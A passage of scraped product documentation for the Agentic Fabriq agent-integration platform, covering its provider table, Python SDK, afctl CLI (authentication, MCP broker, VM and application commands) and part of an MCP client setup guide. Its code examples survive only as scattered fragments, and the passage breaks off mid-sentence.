3 | — | | `ipinfo` | IPinfo | Data | 48 | — | | `jigsawstack` | JigsawStack | AI | 32 | — | | `jotform` | Jotform | Marketing | 49 | — | | `kaggle` | Kaggle | AI | 116 | — | | `kaleido` | Kaleido | Developer | 176 | — | | `keyword` | Keyword.com | Data | 31 | — | | `kibana` | Kibana | Developer | 640 | — | | `kieai` | Kie.ai | AI | 52 | — | | `kit` | Kit | Marketing | 83 | yes — prefer it | | `klaviyo` | Klaviyo | Marketing | 344 | yes — prefer it | | `klipfolio` | Klipfolio | Data | 122 | — | | `kommo` | Kommo | Business | 143 | yes — prefer it | | `la_growth_machine` | La Growth Machine | Business | 32 | — | | `langbase` | Langbase | AI | 35 | — | | `laposta` | Laposta | Marketing | 41 | — | | `launchdarkly` | LaunchDarkly | Developer | 399 | yes — prefer it | | `leat` | Leat | Marketing | 158 | — | | `lemlist` | lemlist | Business | 155 | — | | `lemonsqueezy` | Lemon Squeezy | Business | 60 | — | | `lexoffice` | Lexware Office | Business | 44 | — | | `linear` | Linear | Developer | 272 | yes — prefer it | | `linkly` | Linkly | Marketing | 26 | — | | `listclean` | ListClean | Data | 14 | — | | `listennotes` | Listen Notes | Data | 26 | — | | `loyverse` | Loyverse | Business | 56 | yes — prefer it | | `mail_bluster` | MailBluster | Marketing | 18 | — | | `mailchimp` | Mailchimp | Marketing | 298 | yes — prefer it | | `mailcoach` | Mailcoach | Marketing | 75 | — | | `mailerlite` | MailerLite | Marketing | 79 | — | | `mailersend` | MailerSend | Messaging | 97 | — | | `mailsoftly` | Mailsoftly | Marketing | 144 | yes — prefer it | | `mailtrap` | Mailtrap | Messaging | 130 | — | | `maintainx` | MaintainX | Business | 164 | — | | `make` | Make | Developer | 558 | — | | `manus` | Manus | AI | 33 | yes — prefer it | | `mapbox` | Mapbox | Data | 93 | — | | `marketstack` | marketstack | Data | 46 | — | | `maxio` | Maxio Advanced Billing | Business | 265 | — | | `mem0` | Mem0 | AI | 63 | — | | `meta_marketing` | Meta Marketing | Marketing | 238 | yes — prefer it | | `metabase` | Metabase | Data | 511 | — | | `mezmo` | Mezmo | Developer | 203 | — | | `mintlify` | Mintlify | Developer | 24 | — | | `miro` | Miro | Design | 176 | yes — prefer it | | `missive` | Missive | Messaging | 42 | — | | `mistral` | Mistral AI | AI | 281 | — | | `mixmax` | Mixmax | Messaging | 17 | — | | `mixpanel` | Mixpanel | Data | 85 | — | | `moco` | MOCO | Project management | 323 | — | | `modelry` | Modelry | Docs & knowledge | 23 | — | | `moosend` | Moosend | Marketing | 47 | — | | `motion` | Motion | Project management | 27 | — | | `mxtechnologies` | MX Technologies | Business | 174 | — | | `nango` | Nango | Developer | 35 | — | | `nasa` | NASA | Data | 54 | — | | `needle` | Needle | Business | 88 | — | | `neon` | Neon | Developer | 172 | — | | `neutrinoapi` | Neutrino API | Data | 21 | — | | `newrelic` | New Relic | Developer | 58 | — | | `nextdns` | NextDNS | Security | 43 | — | | `ngrok` | ngrok | Developer | 251 | — | | `nocodb` | NocoDB | Data | 147 | — | | `northflank` | Northflank | Developer | 411 | — | | `nozbe` | Nozbe | Project management | 76 | — | | `nusii` | Nusii | Business | 43 | yes — prefer it | | `nutshell` | Nutshell | Business | 114 | — | | `oksign` | OK!Sign | Docs & knowledge | 29 | — | | `omnisend` | Omnisend | Marketing | 87 | — | | `onedesk` | OneDesk | Project management | 93 | — | | `onesignal` | OneSignal | Marketing | 65 | — | | `openai` | OpenAI | AI | 264 | — | | `opensea` | OpenSea | Business | 143 | — | | `openweather` | OpenWeather | Data | 71 | — | | `optimoroute` | OptimoRoute | Business | 24 | — | | `outline` | Outline | Docs & knowledge | 111 | yes — prefer it | | `panda_doc` | PandaDoc | Docs & knowledge | 122 | yes — prefer it | | `paradym` | Paradym | Security | 96 | — | | `parallel` | Parallel | AI | 31 | — | | `parseur` | Parseur | Docs & knowledge | 28 | — | | `parsio` | Parsio | Data | 27 | — | | `paypal` | PayPal | Business | 109 | — | | `paystack` | Paystack | Business | 163 | — | | `pdfco` | PDF.co | Docs & knowledge | 68 | — | | `pdfmonkey` | PDFMonkey | Docs & knowledge | 14 | — | | `penpot` | Penpot | Design | 121 | — | | `peopledatalabs` | People Data Labs | Data | 22 | — | | `persona` | Persona | Security | 204 | — | | `phantombuster` | PhantomBuster | Marketing | 68 | — | | `pinecone` | Pinecone | Developer | 99 | — | | `pipelinecrm` | Pipeline CRM | Business | 291 | — | | `plain` | Plain | Business | 118 | — | | `planly` | Planly | Marketing | 20 | — | | `polygon` | Polygon.io (Massive) | Data | 116 | — | | `polymarketus` | Polymarket US | Business | 47 | — | | `postalytics` | Postalytics | Marketing | 43 | — | | `postgrid` | PostGrid | Business | 121 | — | | `postman` | Postman | Developer | 258 | — | | `postmark` | Postmark | Messaging | 86 | — | | `proabono` | ProAbono | Business | 41 | — | | `productboard` | Productboard | Project management | 59 | yes — prefer it | | `productlane` | Productlane | Business | 146 | yes — prefer it | | `pushover` | Pushover | Messaging | 19 | — | | `quaderno` | Quaderno | Business | 92 | — | | `radar` | Radar | Data | 40 | — | | `raisely` | Raisely | Business | 92 | — | | `rawg` | RAWG | Data | 30 | — | | `recallai` | Recall.ai | AI | 112 | — | | `redcircle` | RedCircle | Data | 34 | — | | `referralrock` | Referral Rock | Marketing | 40 | — | | `render` | Render | Developer | 206 | — | | `rentman` | Rentman | Business | 314 | — | | `repairshopr` | RepairShopr | Business | 184 | — | | `replicate` | Replicate | AI | 36 | — | | `replyio` | Reply.io | Business | 372 | — | | `resend` | Resend | Messaging | 108 | yes — prefer it | | `retellai` | Retell AI | AI | 104 | — | | `retently` | Retently | Marketing | 36 | — | | `revai` | Rev AI | AI | 34 | — | | `revolt` | Revolt (Stoat) | Messaging | 93 | — | | `rite_kit` | RiteKit | Marketing | 23 | — | | `rocketadmin` | Rocketadmin | Developer | 21 | — | | `rocketlane` | Rocketlane | Project management | 91 | — | | `rollbar` | Rollbar | Developer | 97 | — | | `safetyculture` | SafetyCulture (Mitti) | Business | 394 | — | | `salesflare` | Salesflare | Business | 71 | — | | `sanity` | Sanity | Docs & knowledge | 195 | — | | `saperly` | Saperly | Messaging | 42 | — | | `scaleai` | Scale AI | AI | 35 | — | | `scrape_do` | Scrape.do | Data | 41 | — | | `scrapegraphai` | ScrapeGraphAI | Developer | 36 | — | | `segment` | Segment | Data | 202 | — | | `semanticscholar` | Semantic Scholar | Data | 20 | — | | `semrush` | Semrush | Marketing | 96 | — | | `sendbird` | Sendbird | Messaging | 228 | — | | `sendfox` | SendFox | Marketing | 65 | yes — prefer it | | `sendgrid` | Twilio SendGrid | Messaging | 390 | — | | `sentry` | Sentry | Developer | 221 | yes — prefer it | | `seqera` | Seqera Platform | Developer | 261 | — | | `serpapi` | SerpApi | Developer | 115 | — | | `serphouse` | SERPHouse | Data | 28 | — | | `serveravatar` | ServerAvatar | Developer | 205 | — | | `sevdesk` | sevDesk | Business | 153 | — | | `shipengine` | ShipEngine | Business | 96 | — | | `shopify` | Shopify | Business | 385 | — | | `shortcut` | Shortcut | Project management | 136 | — | | `shortio` | Short.io | Marketing | 90 | — | | `shotstack` | Shotstack | Design | 22 | — | | `simla` | Simla.com | Business | 190 | — | | `simplekpi` | SimpleKPI | Data | 55 | — | | `simplero` | Simplero | Marketing | 815 | — | | `skyfire` | Skyfire | Business | 19 | — | | `slite` | Slite | Docs & knowledge | 26 | — | | `smsalert` | SMS Alert | Messaging | 26 | — | | `smtp2go` | SMTP2GO | Messaging | 74 | — | | `smugmug` | SmugMug | Docs & knowledge | 36 | — | | `softr` | Softr | Developer | 28 | — | | `specific` | Specific | Marketing | 21 | — | | `spoki` | Spoki | Marketing | 109 | — | | `spondyr` | Spondyr | Messaging | 39 | — | | `square` | Square | Business | 327 | yes — prefer it | | `stackexchange` | Stack Exchange | Developer | 177 | yes — prefer it | | `stannp` | Stannp | Marketing | 42 | — | | `statuscake` | StatusCake | Developer | 36 | — | | `stormboard` | Stormboard | Design | 51 | — | | `stripe` | Stripe | Business | 485 | — | | `superchat` | Superchat | Messaging | 3 | — | | `supportbee` | SupportBee | Business | 49 | — | | `svix` | Svix | Developer | 138 | — | | `swaggerhub` | SwaggerHub | Developer | 99 | — | | `swarmsyncai` | SwarmSync AI | AI | 186 | — | | `taggun` | Taggun | AI | 16 | — | | `tapfiliate` | Tapfiliate | Marketing | 78 | — | | `taxjar` | TaxJar | Business | 21 | — | | `telnyx` | Telnyx | Messaging | 1222 | yes — prefer it | | `templated` | Templated | Design | 37 | — | | `textit` | TextIt | Messaging | 47 | — | | `thanks_io` | thanks.io | Marketing | 41 | yes — prefer it | | `todoist` | Todoist | Project management | 102 | yes — prefer it | | `toggl` | Toggl Track | Project management | 313 | — | | `tomtom` | TomTom | Data | 57 | — | | `trello` | Trello | Project management | 261 | — | | `truvera` | Truvera | Security | 154 | — | | `turbotpipes` | Turbot Pipes | Developer | 530 | — | | `twelvedata` | Twelve Data | Data | 187 | — | | `twilio` | Twilio | Messaging | 815 | — | | `typeform` | Typeform | Marketing | 52 | — | | `typefully` | Typefully | Marketing | 26 | — | | `unione` | UniOne | Messaging | 35 | — | | `unipile` | Unipile | Messaging | 92 | — | | `unisender` | Unisender | Marketing | 55 | — | | `uptime_robot` | UptimeRobot | Developer | 61 | — | | `userflow` | Userflow | Marketing | 35 | — | | `v0` | v0 | AI | 40 | — | | `vapi` | Vapi | AI | 138 | — | | `vercel` | Vercel | Developer | 327 | yes — prefer it | | `virus_total` | VirusTotal | Security | 204 | — | | `webex` | Webex | Messaging | 222 | yes — prefer it | | `webflow` | Webflow | Design | 126 | yes — prefer it | | `whautomate` | Whautomate | Messaging | 83 | — | | `whoisfreaks` | WhoisFreaks | Data | 31 | — | | `witai` | Wit.ai | AI | 35 | — | | `wix` | Wix | Business | 585 | yes — prefer it | | `worksnaps` | Worksnaps | Project management | 35 | — | | `wrike` | Wrike | Project management | 195 | yes — prefer it | | `writer` | Writer | AI | 28 | — | | `zen_rows` | ZenRows | Developer | 27 | — | | `zep` | Zep | AI | 99 | — | | `zerobounce` | ZeroBounce | Data | 21 | — | | `zulip` | Zulip | Messaging | 159 | — | ## Hosted sign-in providers (4) Linked-account providers. Your end user signs in to their own account on an Agentic Fabriq-hosted page — a QR scan, a pairing code, or the provider's own sign-in form. **There is no credential to paste**, so expect no input boxes. They use the SAME credentials route as the table above. Capabilities reports `key_connect: true` (the route) and `link_connect: true` (the screen). | Provider key | Name | Category | Tools | What your user does | | --- | --- | --- | --- | --- | | `instagram` | Instagram | Messaging | 22 | Signs in on an AF-hosted page | | `linkedin` | LinkedIn | Messaging | 63 | Signs in on an AF-hosted page | | `telegram` | Telegram | Messaging | 22 | Signs in on an AF-hosted page | | `whatsapp` | WhatsApp | Messaging | 22 | Signs in on an AF-hosted page | ## Providers offering both (62) Call the OAuth route. Fall back to the API-credential route only when `capabilities` reports `oauth` unavailable on this deployment and `key_connect: true`. `airtable`, `alpaca`, `apollo`, `attio`, `betterstack`, `bigquery`, `bitbucket`, `boldsign`, `calcom`, `calendly`, `capsulecrm`, `cloudinary`, `contentful`, `convex`, `crowdin`, `databricks`, `digitalocean`, `dropboxsign`, `erpnext`, `fathom`, `fillout`, `formbricks`, `gist`, `gitea`, `google_cloud_vision`, `gorgias`, `granola`, `grist`, `harvest`, `helpdesk`, `helpscout`, `highlevel`, `huggingface`, `kit`, `klaviyo`, `kommo`, `launchdarkly`, `linear`, `loyverse`, `mailchimp`, `mailsoftly`, `manus`, `meta_marketing`, `miro`, `nusii`, `outline`, `panda_doc`, `productboard`, `productlane`, `resend`, `sendfox`, `sentry`, `square`, `stackexchange`, `telnyx`, `thanks_io`, `todoist`, `vercel`, `webex`, `webflow`, `wix`, `wrike` ## OAuth not live yet (12) Registry marks OAuth as coming for these. Until `capabilities` reports `oauth: true`, treat the API-credential route as the connect path where `key_connect` is true. `addressfinder`, `ambee`, `fibery`, `firecrawl`, `firmao`, `heyzine`, `kaggle`, `lexoffice`, `omnisend`, `parallel`, `stormboard`, `typeform` ================================================================================ ## SDK Documentation URL: https://www.agenticfabriq.com/docs/sdk Section: SDK & CLI Agentic Fabriq SDK Reference The Agentic Fabriq SDK ( af_sdk ) is the official Python SDK for building AI agents that connect to external tools like Gmail, Slack, Google Drive, and more. Installation pip install agentic-fabriq-sdk Requirements: Python 3.11 – 3.12 Table of Contents MCPClient Authentication Functions Application Helpers Data Models Exceptions Examples MCPClient The main client for connecting to Agentic Fabriq and invoking tools. Constructor Parameters Parameter Type Required Default Description method str Yes Authentication method: "cli" "keycloak" , or "idp" app_id str Yes Application ID (e.g., "org-xxx_myapp" app_secret str Yes Application secret key keycloak_token str If method="" None Keycloak JWT access token external_token str If method="" None External IdP token (e.g., Okta) org_url str No None Organization URL for realm resolution mcp_url str No https://dashboard.agenticfabriq.com/mcp MCP server URL gateway_url str No https://dashboard.agenticfabriq.com Gateway URL timeout float No Request timeout in seconds Authentication Methods Method Description Required Parameters "cli" Uses credentials from afctl auth login stored in ~/.af/ app_id app_secret "keycloak" Uses a Keycloak token from your OAuth flow app_id app_secret keycloak_token "idp" Uses an external IdP token (e.g., Okta SSO) app_id app_secret external_token Usage Methods connect() Establishes connection to the MCP server. Called automatically by context manager. await client.connect() Raises: AuthenticationError : Invalid credentials or user not logged in MCPConnectionError : Cannot reach MCP server disconnect() Closes the connection and clears internal state. await client.disconnect() list_tools() Fetches available tools from the MCP server. tools = await client.list_tools() Returns: List[Dict] — List of tool definitions call_tool(name, arguments) Invokes a tool with the given arguments. result = await client.call_tool(name: str, arguments: dict = None) Parameters: Parameter Type Description name str Tool name (e.g., "google_gmail_get_emails" arguments dict Tool parameters Returns: Tool response (structure varies by tool) Raises: MCPError : Tool returned an error MCPConnectionError : Not connected or network error get_tools() Returns cached tools list (no network call). tools = client.get_tools() Returns: List[Dict] get_tool(name) Gets a specific tool by name from cache. tool = client.get_tool("google_gmail_get_emails") Returns: Dict or None has_tool(name) Checks if a tool exists. Returns: bool Properties Property Type Description is_connected bool True if connected to MCP server tool_names List[str] List of available tool names token_info AFTokenResponse Token metadata after authentication Sync Methods Async Sync connect() connect_sync() disconnect() disconnect_sync() list_tools() list_tools_sync() call_tool() call_tool_sync() Authentication Functions load_stored_credentials() Loads credentials saved by afctl auth login from ~/.af/ Returns: StoredCredentials or None if not logged in exchange_keycloak_for_af_token() Exchanges a Keycloak token for an app-scoped AF token. Parameters: Parameter Type Description keycloak_token str Keycloak access token app_id str Application ID secret_key str Application secret gateway_url str Gateway URL Returns: AFTokenResponse Raises: AuthenticationError exchange_okta_for_af_token() Exchanges an Okta SSO token for an AF token. Parameters: Parameter Type Description okta_token str Okta access/ID token app_id str Application ID app_secret str Application secret org_url str Organization URL for realm resolution gateway_url str Gateway URL Returns: str — AF access token Raises: AuthenticationError get_valid_token_sync() Synchronously loads credentials and exchanges for AF token. Returns: str — AF access token Raises: AuthenticationError — Not logged in or token expired Application Helpers get_application_client() Creates an MCPClient from saved application credentials. Returns: MCPClient Raises: ApplicationNotFoundError load_application_config() Loads application config from Returns: Dict — Application configuration list_applications() Lists all locally registered applications. Returns: List[Dict] — List of application configs Data Models All models are Pydantic BaseModel subclasses providing type validation and serialization. StoredCredentials Represents user credentials saved by afctl auth login . Stored encrypted in ~/.af/credentials.json Fields Field Type Nullable Description access_token str No Keycloak JWT access token used for authentication refresh_token str Yes Token for obtaining new access tokens without re-login expires_at int No Unix timestamp (seconds) when the access token expires tenant_id str Yes UUID of the user's tenant organization_id str Yes UUID of the user's organization user_id str Yes UUID of the user email str Yes User's email address name str Yes User's display name Computed Properties Property Type Description is_expired bool Returns True if expires_at is within 60 seconds of current time expires_in int Seconds remaining until expiration. Returns 0 if already expired Example AFTokenResponse Response from token exchange operations. Contains the app-scoped AF token that authorizes MCP requests. Fields Field Type Nullable Description access_token str No JWT token for authenticating MCP requests expires_in int No Number of seconds until the token expires token_type str No Token type, always "Bearer" user_id str Yes UUID of the authenticated user (extracted from token claims) tenant_id str Yes UUID of the user's tenant (extracted from token claims) organization_id str Yes UUID of the user's organization (extracted from token claims) app_id str Yes ID of the application the token is scoped to Usage Exceptions All SDK exceptions inherit from AFError and follow a consistent structure for error handling. Base Exception AFError Base class for all SDK exceptions. Constructor: Exception Hierarchy Key Exceptions AuthenticationError Raised when authentication fails. Error Code: AUTHENTICATION_FAILED Raised when: User hasn't run afctl auth login (no stored credentials) Stored credentials have expired Invalid app_id or app_secret Token exchange with gateway fails Keycloak/IdP token is invalid or expired AuthorizationError Raised when the user lacks permission for an operation. Error Code: FORBIDDEN Raised when: Application doesn't have required scopes for a tool User hasn't connected the required service (e.g., Google account not linked) Organization policy denies the operation User's role doesn't permit the action MCPError Raised when a tool returns an error during execution. Error Code: MCP_ERROR Additional Properties: Property Type Description code int JSON-RPC error code (if applicable) data Any Additional error data from the tool MCPConnectionError Raised when connection to the MCP server fails. Error Code: MCP_CONNECTION_ERROR Raised when: Cannot establish connection to MCP server Connection drops during operation Request timeout DNS resolution failure SSL/TLS errors Comprehensive Error Handling Device Code Flow (Remote/Headless Auth) For machines without a browser (VMs, remote servers, CI environments), the SDK supports the OAuth 2.0 Device Authorization Grant (RFC 8628). Instead of opening a browser locally, the CLI displays a URL and a code that you enter on any device with a browser. This can be combined with --org for team workspace authentication on remote machines: afctl auth login --remote --org your-domain.com Organization / Team Authentication Organizations with dedicated Keycloak realms use the --org flag to route authentication to their realm instead of the default individual-user realm. The org URL is resolved to the correct Keycloak realm via the POST /api/v1/auth/resolve-org endpoint. Token refresh ( afctl auth refresh ) is realm-aware and will use the same org realm. Coding Agent Integration (MCP Broker) The SDK includes a local MCP broker ( afctl broker ) that connects coding agents — Claude Code, Cursor, and Codex — to Agentic Fabriq. The broker is spawned as a child process by the agent and proxies MCP tool calls to the gateway. To set it up, add the following to your agent's MCP config file: Agent Config File Notes Claude Code ~/.claude/mcp.json Sources shell profile — bare afctl works Cursor ~/.cursor/mcp.json Use full path for Remote SSH (e.g., /home/ubuntu/.af-venv/bin/afctl Codex Agent-specific MCP config Same config format as Claude Code See the Coding Agents Setup guide for detailed instructions, and the CLI Reference for afctl broker options. Examples Basic Usage With Keycloak Token With Okta SSO Synchronous Usage All Exports Environment Variables Variable Default Description AF_GATEWAY_URL https://dashboard.agenticfabriq.com Gateway URL AF_MCP_URL MCP server URL AF_CONFIG_DIR ~/.af Config directory , app_id= , app_secret= , app_id= , app_secret= if client.has_tool( with MCPClient(method= , app_id= , app_secret= Not logged in , app_id= , app_secret= afctl auth login s role doesn invalid:query , app_id= , app_secret= ================================================================================ ## CLI Reference (afctl) URL: https://www.agenticfabriq.com/docs/cli Section: SDK & CLI Agentic Fabriq CLI Reference The afctl command-line interface provides tools for managing authentication, tool connections, and applications in Agentic Fabriq. Installation pip install agentic-fabriq-sdk After installation, the afctl command will be available in your terminal. Global Options These options can be used with any command: Option Description --config PATH Path to configuration file --gateway-url URL Gateway URL (default: https://dashboard.agenticfabriq.com --tenant-id ID Tenant ID --verbose Enable verbose output Global Commands afctl version Show version information. afctl version afctl status Show system status and configuration. afctl status Output: A table showing gateway connection status, authentication status, and configuration file location. afctl init Initialize CLI configuration. afctl init [OPTIONS] Option Type Default Description --gateway-url string https://dashboard.agenticfabriq.com Gateway URL --tenant-id string None Tenant ID --yes flag false Skip confirmation and overwrite existing config Example: afctl init --gateway-url https://dashboard.agenticfabriq.com Authentication Commands (afctl auth) afctl auth login Login to Agentic Fabriq using OAuth2/PKCE flow. Opens your default browser for authentication with Keycloak. Tokens are securely stored locally. afctl auth login [OPTIONS] Option Type Default Description --tenant-id string None Tenant ID (optional, extracted from JWT) --keycloak-url string https://auth.agenticfabriq.com Keycloak URL --org string None Organization URL for team login (e.g., freebies.com ). Routes to your org's dedicated authentication realm. --remote flag false Use device code flow for headless/remote machines. Displays a URL and code — authorize from any browser without needing one on the machine. --yes flag false Skip confirmation when already authenticated Examples: afctl auth logout Logout from Agentic Fabriq. Revokes tokens and clears local authentication state. afctl auth logout [OPTIONS] afctl auth status Show authentication status and token information. afctl auth status Output: A table showing authentication status (authenticated/expired), name, email, user ID, tenant ID, organization ID, token expiration time, refresh token availability, and gateway URL. afctl auth refresh Refresh authentication token. Uses the refresh token to obtain a new access token without requiring interactive login. afctl auth refresh [OPTIONS] afctl auth token Display the current access token. afctl auth token [OPTIONS] Option Type Default Description --full flag false Show full token (warning: sensitive information) Examples: afctl auth whoami Display information about the currently authenticated user. afctl auth whoami Output: A table showing name, email, user ID, and tenant. MCP Broker (afctl broker) Run a local MCP broker that connects coding agents (Claude Code, Cursor, Codex) to Agentic Fabriq. This command is typically not run manually — it is spawned automatically by the coding agent based on your MCP config. afctl broker [OPTIONS] Option Type Default Description --agent string auto-detected Override agent name (e.g., claude-code cursor codex ). Normally auto-detected from parent process. --skip-detection flag false Skip parent process detection (testing only). How it works: Communicates via stdio (JSON-RPC 2.0) with the coding agent Proxies MCP requests (list_tools, call_tool) to the Agentic Fabriq gateway via WebSocket Sends heartbeats every 60 seconds to keep the session alive Session auto-expires ~3 minutes after the broker process exits Transparently re-establishes session if the auth token expires MCP config example (place in ~/.claude/mcp.json or ~/.cursor/mcp.json Note: For Cursor Remote SSH, use the full path to afctl since remote sessions don't source your shell profile (e.g., /home/ubuntu/.af-venv/bin/afctl VM Management (afctl vm) Manage local virtual machines for computer-use coding agents. afctl vm serve Start the local VM management server. Provides a REST API for creating, starting, stopping, and deleting QEMU-based VMs. Automatically connects to the Agentic Fabriq dashboard via WebSocket relay if authenticated. afctl vm serve [OPTIONS] Option Type Default Description --port, -p integer Port for the VM management server Examples: Prerequisites: QEMU must be installed ( brew install qemu on macOS). Run afctl auth login before starting the server to enable dashboard integration. The relay connection persists even after your auth token expires. Configuration Commands (afctl config) afctl config show Show current configuration. afctl config show [OPTIONS] afctl config set Set a configuration value. afctl config set KEY VALUE Settable keys: gateway_url - Gateway URL keycloak_url - Keycloak URL output_format - Default output format ( table json yaml page_size - Default page size for list commands Note: tenant_id cannot be set manually—it comes from authentication. Examples: afctl config get Get a configuration value. afctl config get KEY Readable keys: gateway_url keycloak_url keycloak_realm keycloak_client_id tenant_id output_format page_size config_file verbose authenticated Example: afctl config get gateway_url afctl config reset Reset configuration to defaults. afctl config reset [OPTIONS] Tool Commands (afctl tools) afctl tools list List your tool connections (configured and connected tools). afctl tools list [OPTIONS] Option Type Default Description --format string table Output format ( table json yaml --page int Page number (starts from 1) --page-size int Items per page (1-100) --search string None Search query (searches tool IDs and connection names) --tool string None Filter by tool type (e.g., gmail slack google Examples: afctl tools get Get tool connection details. afctl tools get CONNECTION_ID [OPTIONS] Example: afctl tools get my-gmail afctl tools add Add a new tool connection with credentials. afctl tools add TOOL [OPTIONS] Option Type Required Description --connection-id string Yes Unique connection ID --method string Yes api_credentials oauth3 (platform OAuth), or oauth --display-name string No Human-readable name --token string No API token (for simple token auth) --client-id string No OAuth client ID (for app-based auth) --client-secret string No OAuth client secret --redirect-uri string No OAuth redirect URI (auto-generated if not provided) Methods: oauth3 - Uses platform OAuth (recommended for Google, Slack, Notion, GitHub) api_credentials - Uses your own credentials (token or client ID/secret) Examples: Supported Google tools: google_drive google_docs google_sheets google_slides gmail google_calendar google_meet google_forms google_classroom google_people google_chat google_tasks afctl tools connect Complete OAuth connection (opens browser for authorization). afctl tools connect CONNECTION_ID [OPTIONS] Example: afctl tools connect my-gmail afctl tools disconnect Disconnect a tool (remove credentials but keep connection entry). afctl tools disconnect CONNECTION_ID [OPTIONS] Example: afctl tools remove Remove a tool connection completely (delete entry and credentials). afctl tools remove CONNECTION_ID [OPTIONS] Example: Application Commands (afctl applications) afctl applications register Step 1: Register a new application (returns activation token). afctl applications register [OPTIONS] Option Type Required Description --app-id string Yes Application identifier (no spaces) --scopes string Yes Scopes (format: provider:scope1,provider:scope2 --display-name string No Display name for the application Example: Output: Returns an activation token (valid for 1 hour, single use). afctl applications activate Step 2: Activate an application (saves credentials locally). afctl applications activate [OPTIONS] Option Type Required Description --app-id string Yes Application identifier --token string Yes Activation token from registration --idp-client-id string No IdP Client ID (from Okta app) --idp-client-secret string No IdP Client Secret --skip-idp flag No Skip IdP configuration prompts Examples: # With IdP credentials (for SSO organizations) afctl applications activate --app-id my-bot --token \\ --idp-client-id 0oa... --idp-client-secret Output: Saves credentials to afctl applications list List all registered applications. afctl applications list [OPTIONS] Example: afctl applications show Show details of a registered application. afctl applications show APP_ID [OPTIONS] Examples: afctl applications delete Delete a registered application. Deletes the server registration, removes local credentials, and invalidates all active tokens. afctl applications delete APP_ID [OPTIONS] Examples: afctl applications test Test application authentication. Attempts to exchange credentials for a token to verify the application is properly registered. afctl applications test APP_ID Example: afctl applications test my-slack-bot Configuration File The CLI stores configuration at ~/.af/config.json Application credentials are stored in Environment Variables The following environment variables can override configuration: Variable Description AF_GATEWAY_URL Gateway URL AF_KEYCLOAK_URL Keycloak URL AF_TENANT_ID Tenant ID Common Workflows Individual User Setup Team Organization Setup Adding a Tool Connection Registering an Application 123.apps.googleusercontent.com My Slack Bot ================================================================================ ## MCP Client Setup Guide URL: https://www.agenticfabriq.com/docs/mcp-setup Section: How Your Agent Calls AF MCP Client Guide The MCPClient is the primary interface for agents to call tools through Agentic Fabriq. It handles authentication, token exchange, and JSON-RPC communication with the MCP server. Table of Contents Prerequisites Installation Authentication Methods Basic Usage Patterns Working with Tools Configuration Options Properties and Methods Error Handling Advanced Usage Best Practices Complete Examples Prerequisites Before using the MCP client, ensure you have completed the following setup: 1. Register an Application Applications act as the identity for your agent. Registration creates the credentials that allow your agent to access tools on behalf of users. \\ --idp-client-secret If you do not pass the IdP flags, afctl --skip-idp to skip the prompt entirely. After registration, you'll have: app_id : Your application identifier (e.g., org-abc123_my-email-agent app_secret : Your application client secret (e.g., sk_live_xyz789... These credentials are saved to 2. User Authentication Users must authenticate before the MCP client can access their tools. The authentication method depends on your deployment: Scenario Auth Method How User Authenticates Local development/testing cli User runs afctl auth login Web app with Keycloak keycloak User logs in via Keycloak, app receives JWT Enterprise SSO (Okta) idp User logs in via Okta, app receives Okta JWT 3. Tool Connections Users must connect the tools they want to use. This is done via: Dashboard UI : Users connect tools in the Agentic Fabriq dashboard CLI afctl tools add and afctl tools connect The MCP client can only access tools that: The user has connected The application has scopes for Installation pip install agentic-fabriq-sdk Import the client: from af_sdk import MCPClient Authentication Methods The MCP client supports three authentication methods, each suited for different deployment scenarios. CLI Method (method="") Use case : Local development, testing, CLI scripts, or any scenario where the user has already authenticated via afctl auth login How it works : The client reads stored credentials from ~/.af/credentials.json (created by afctl auth login ) and exchanges them for an AF token. Required parameters app_id app_secret Keycloak Method (method="") Use case : Web applications or services that authenticate users directly through Keycloak (Agentic Fabriq's identity provider). Required parameters app_id app_secret keycloak_token IdP Method (method="") Use case : Enterprise organizations using external identity providers like Okta for SSO. Required parameters app_id app_secret external_token Optional parameters org_url (auto-detected from app if not provided, used to identify organization that user is in) Basic Usage Patterns Async Context Manager (Recommended) The async context manager automatically handles connection and cleanup: Sync Context Manager For synchronous code, use the sync context manager with _sync method variants: Manual Connection Management For fine-grained control over the connection lifecycle: Working with Tools Listing Available Tools The list_tools() method fetches all tools available to the current user based on their connections and the application's scopes: Each tool definition includes: name : The tool identifier (e.g., google_gmail_send_email description : Human-readable description of what the tool does inputSchema : JSON Schema defining the tool's parameters Accessing Cached Tools After calling list_tools() , tools are cached for quick access: Understanding Tool Schemas Each tool has an inputSchema that defines its parameters: Example schema: Calling Tools Use call_tool() with the tool name and a dictionary of arguments: The result format depends on the specific tool. Most tools return dictionaries or lists. Configuration Options Parameter Type Default Description method str required Authentication method: "cli" "keycloak" , or "idp" app_id str required Application ID from afctl applications register app_secret str required Application client secret from afctl applications register keycloak_token str None Keycloak JWT token. Required when method="" external_token str None External IdP token (e.g., Okta). Required when method="" org_url str None Organization URL (e.g., "mycompany.com" ). Used with method="" to determine the correct Keycloak realm. mcp_url str https://dashboard.agenticfabriq.com/mcp MCP server URL. Override for self-hosted or staging environments. gateway_url str https://dashboard.agenticfabriq.com Gateway URL for token exchange. Override for self-hosted or staging environments. timeout float Request timeout in seconds for MCP calls. Properties and Methods Properties Property Type Description is_connected bool True if the client is connected and authenticated tool_names List[str] List of available tool names (from cache) token_info AFTokenResponse Token metadata including user_id app_id expires_in token_type Connection Methods Method Returns Description connect() None Authenticate and connect to the MCP server. Called automatically by context manager. disconnect() None Close the connection and clear state. Called automatically by context manager. connect_sync() None Synchronous version of connect() disconnect_sync() None Synchronous version of disconnect() Tool Methods Method Returns Description list_tools() List[Dict] Fetch available tools from the server. Updates the internal cache. call_tool(name, arguments) Any Execute a tool with the given arguments. Returns the tool's result. get_tools() List[Dict] Get the cached tool list (no network call). get_tool(name) Dict | None Get a specific tool definition from the cache by name. has_tool(name) bool Check if a tool exists in the cache. list_tools_sync() List[Dict] Synchronous version of list_tools() call_tool_sync(name, arguments) Any Synchronous version of call_tool() Error Handling The SDK provides specific exception types for different error scenarios: Exception Reference Exception Causes Resolution AuthenticationError Token expired, invalid/missing credentials, not logged in, invalid app_id or app_secret Run afctl auth login , verify app credentials MCPConnectionError Network failure, server unreachable, DNS issues, firewall blocking, calling methods without connecting first Check network, verify mcp_url , ensure connect() was called MCPError Tool not found, invalid parameters, tool execution failed, missing tool connection, insufficient scopes Verify tool name, check parameter schema, ensure user has connected the tool Advanced Usage Custom Server URLs For self-hosted deployments or staging environments: Inspecting Token Information After connecting, you can inspect the authenticated token: Reusing Connections For applications that make many tool calls, keep the connection open: Custom Timeout For long-running tool operations: Best Practices 1. Always Use Context Managers Context managers ensure proper cleanup even if errors occur: 2. Check Tool Availability Before Calling 3. Handle Errors Gracefully 4. Cache Tool Lists When Possible If your application makes many 